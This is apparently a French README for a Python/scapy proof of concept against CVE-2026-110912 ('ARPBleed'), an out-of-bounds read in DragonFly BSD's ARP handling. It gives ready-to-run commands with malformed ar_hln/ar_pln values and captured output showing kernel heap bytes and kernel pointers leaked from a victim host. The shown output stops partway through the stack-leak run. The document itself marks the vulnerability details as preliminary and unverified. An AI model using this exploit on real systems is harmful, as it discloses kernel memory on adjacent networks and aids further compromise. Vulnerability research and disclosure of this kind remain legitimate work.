
Preuve de concept Python/scapy pour CVE-2026-110912 (ARPBleed), une lecture hors limites ar_hln/ar_pln d'ARP dans DragonFly BSD qui divulgue la mémoire du tas et de la pile du noyau.
ARPBleed 🩸
Vulnérabilité de traitement des paquets ARP | DragonFly BSD | Recherche en sécurité
ARPBleed est le nom associé à la vulnérabilité signalée CVE-2026-110912, impliquant une mauvaise gestion des champs de longueur des paquets Address Resolution Protocol (ARP) dans DragonFly BSD.
Selon la description préliminaire de la vulnérabilité, des paquets ARP malformés peuvent déclencher une lecture mémoire hors limites, exposant potentiellement des portions de la mémoire du noyau via les réponses réseau.
Important : Les détails de la vulnérabilité présentés ici sont préliminaires et nécessitent une vérification par rapport aux enregistrements CVE faisant autorité et aux avis officiels des fournisseurs avant d'être considérés comme confirmés.
| Attribut | Détails |
|---|---|
| CVE ID | CVE-2026-110912 |
| Nom de la vulnérabilité | ARPBleed |
| Produit signalé | DragonFly BSD |
| Type de vulnérabilité | Lecture hors limites |
| CWE associé | CWE-130 — Mauvaise gestion de l'incohérence des paramètres de longueur |
| Vecteur d'attaque signalé | Réseau adjacent |
| Authentification requise | Aucune selon les rapports |
| Impact potentiel | Divulgation de la mémoire du noyau |
| Score CVSS signalé | 7.1 — Non vérifié |
| Versions affectées signalées | Jusqu'à 6.4.2 — Non vérifié |
| Remédiation | Vérifier le correctif officiel du fournisseur |
L'Address Resolution Protocol (ARP) est utilisé dans les réseaux IPv4 pour résoudre les adresses IP en adresses matérielles, généralement des adresses MAC.
Lorsqu'un hôte doit communiquer avec un autre appareil du réseau local, il peut diffuser une requête ARP. L'appareil possédant l'adresse IP correspondante peut répondre par une réponse ARP contenant son adresse matérielle.
CVE-2026-110912-ARPBleed.py - fichier unique, nécessite python3 + scapy et root (raw socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
Les 6 premiers octets de la région ar_sha divulguée correspondent à l'adresse MAC réelle de la victime et les 4 premiers octets de ar_spa correspondent à l'adresse IP de la victime - tout ce qui suit est de la mémoire noyau hors limites. Code de sortie 0 en cas de fuite capturée, 2 lorsqu'aucune réponse n'arrive (comportement d'un noyau corrigé).
Victime : DragonFly 6.4.2-RELEASE (installation standard, QEMU virtio-net), 10.170.0.10. Attaquant : Kali, scapy 2.7.01, 10.170.0.2, même segment L2.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)